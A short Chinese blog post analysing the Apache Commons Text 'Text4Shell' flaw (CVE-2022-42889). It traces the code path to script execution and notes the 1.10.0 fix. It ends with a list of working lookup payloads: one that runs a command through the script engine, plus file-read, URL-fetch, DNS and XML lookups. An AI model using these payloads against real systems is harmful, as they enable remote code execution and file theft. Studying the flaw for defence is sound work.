CVE-2022-42889 Apache Commons Text RCE (Text4Shell)

警告
本文最后更新于 2022-10-13,文中内容可能已过时。

# 分析

https://twitter.com/Y4tacker/status/1580193254665920513?s=20&t=mq9URhmKSa7xADbSY4r2fw

看到了这个推特,于是自己看了一眼。

1.9有一个script的标签

https://commons.apache.org/proper/commons-text/apidocs/org/apache/commons/text/lookup/StringLookupFactory.html

image.png

org.apache.commons.text.lookup.InterpolatorStringLookup#lookup

image.png

切出来key标签script

org.apache.commons.text.lookup.ScriptStringLookup#lookup

image.png

调用ScriptEngineManager执行代码。

# 修复

1.10.0修复在addDefaultStringLookups添加默认lookup时不再添加script、url、dns标签

image.png

org.apache.commons.text.lookup.StringLookupFactory.DefaultStringLookupsHolder#createDefaultStringLookups

image.png

# 一些payload

1
2
3
4
5
6
${script:js:java.lang.Runtime.getRuntime().exec('calc')}
${file:utf8:e:/test.txt}
${url:utf8:http://baidu.com}
${url:utf8:file:///e:/test.txt}
${dns:address|baidu.com}
${xml:/tmp/aaa:/xpathexpression}

文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。